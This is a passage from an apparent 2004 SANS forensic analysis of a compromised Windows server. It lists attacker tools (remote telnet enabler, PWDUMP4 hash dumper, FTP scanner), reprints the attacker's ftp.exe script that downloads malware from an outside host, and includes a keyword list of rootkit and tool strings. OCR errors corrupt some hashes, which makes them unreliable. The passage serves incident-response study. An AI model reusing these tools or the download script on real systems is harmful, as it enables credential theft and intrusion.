Usage:OpenTelnet.exe \\server username password NTLMAuthor telnetport

khkkkkkkkhkkhkkkhhkhhkhhkhhhhhhkhhhhhhhhkhhkhhkhhkhkhkhkkkxk

Description:
This program can be used to open the telnet service remotely.

Related files:
1. pw4.dll
MD5: 904822a6838d54401c8f21139a6¢7e2d
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2. pw4.exe
MD5: 0cbOb01ad2511d8d601399d26d8091ab

Screenshot:
PWDUMP4.02 dump winnt/2000 user/password hash remote or local for crack.
by bingle@email.com.cn
This program is free software based on pwpump3 by Phil Staubs
under the GNU General Public License Version 2.

Usage: PWDUMP4 [Target | /l] [/s:share] [/o:outputFile] [/u:userName]
[Target] -- Target Computer's ip or name to work,
[l  --works on local Computer.

[/s:share] -- Share used to copy files instead of Admin$.

[/o:outputFile] -- Result filename for output.

[f[u:userName] -- UserName used to connect, provide password later.

[/r:newname]] -- Rename the files to 'newname' when copy to the target,
rename service name also, see FAQ for more.

Description:
This program is called “PWDUMP” which is a Windows NT/2000 remote password hash gra
Related files:
C:\winnt\system32\drivers\help\fsc.exe
MD5: A184d0b3af9a4583b08a74e09a0d692d

Screenshot:
FTP Scanner(Scan For Usual Upload Accounts) V1.0 By WinEggDrop

Usage: fsc StartIP EndIP Port Threads [FileName]

Description:
This program is used to scan usual FTP upload accounts.

Table 2-46 Hacker tools

Text files

Filename:

C:\WINNT\system32\a

MD5: 467bddb64365dc926df85a7ac384acf4

Content:
open 140.DDD.EEE.FFF 5783
mzq
cherub
get ssvc
get mmdl
get internets.exe
get admdll.dll
get pw4.exe
get pw4.dll
close
bye

Description:
This is a script used to download files form 140.DDD.EEE.FFF:5783 through

the “ftp.exe.”
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Filename:
C:\winnt\system32\drivers\help\1.csv
MD5: 86a657fede55069¢19d10944753f5b9

Description:
This is a scan result created by the “dsc.exe.” The contents of this file list IP,

Hostname and whether this machine is vulnerable for ms04-011.
Filename:

C:\winnt\system32\drivers\help\1.txt

MD5: f0ef4e41300bc7e32bbbd71ed7675edd

Description:
This file is created by “pw4.exe.” The contents of this file list all user

accounts and their corresponding password hashes of the Web Server.
Filename:

C:\winnt\system32\drivers\help\2.csv

MD5: 5d12b6e01a610932f1061132f95f9476

Description:
This is a scan result created by the “dsc.exe.” The contents of this file list IP,

Hostname and whether this machine is vulnerable for ms04-011.
Filename:

C:\winnt\system32\drivers\help\61.txt

MD5: 66140d63d5dbf2a3c102c46b9bc2bb40

Description:
This is a scan result created by the “fsc.exe.”

Table 2-47 Text files used/created by the hacker(s)

6. String Search

To do the string search, | employed the “strings” and the “fgrep” to search
multiple strings with a “keyword list.” The instruction runs as follows:

#strings -t x /sans/diskc20040626.img | fgrep -f /sans/keywords.Ist

The contents of the “keyword.Ist” are shown in Table 2-48. Those keywords
consisted of suspicious filenames, suspicious |IP addresses and interesting
strings which were extracted from the “Hacker Defender” and the
“WinEggDrop Shell.” The results of the string search are listed in Appendix 2-
J.

Pmsvc

msserver
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msserverdrv

Microsoft Internet Security Service
winpm

Tinject

goodidea

hxdef084

(C) Copyright 1998 by ANAKIN
HxDefDriver

[HIDDEN TABLE]
[ROOT PROCESSES]
[HIDDEN SERVICES]
[HIDDEN REGKEYS]
[HIDDEN REGVALUES]
[FREE SPACE]
[HIDDEN PORTS]
[SETTINGS]
WinEggDrop
WinEggDropShell
Eternity

DLL Injector

123[1]

123.exe

234 .exe

ssvc2

mmdI2

PassLog

iis[1]

© SANS Institute 2004, As part of GIAC practical repository. Auttdr retains full rights.



dsc.exe
getos.exe
ms.exe
mdtm2.exe
gooltel.exe
pw4.exe
fsc.exe

140.DDD.EEE.FFF

Table 2-48 A keyword list

In the following paragraph, | will demonstrate how | have gathered information
from the result of the strings search. For example, an interesting string
“‘msserver” was found to locate at 0x10d34336, as shown in Appendix 2-J.
Then, | used the “fsstat” to retrieve the cluster size of the image as follows:

#fsstat —f ntfs /sans/diskc20040626.img

In this case, | knew the cluster size of this image was 0x800 and the cluster
number could be calculated (0x10d34336 / 0x800 = 0x21A68 = 137832).
Then, | could employ the “autopsy”, which is a graphical interface to the
command line digital forensic analysis tools in “The Sleuth Kit”, to display its
contents shown as follows:

Fk 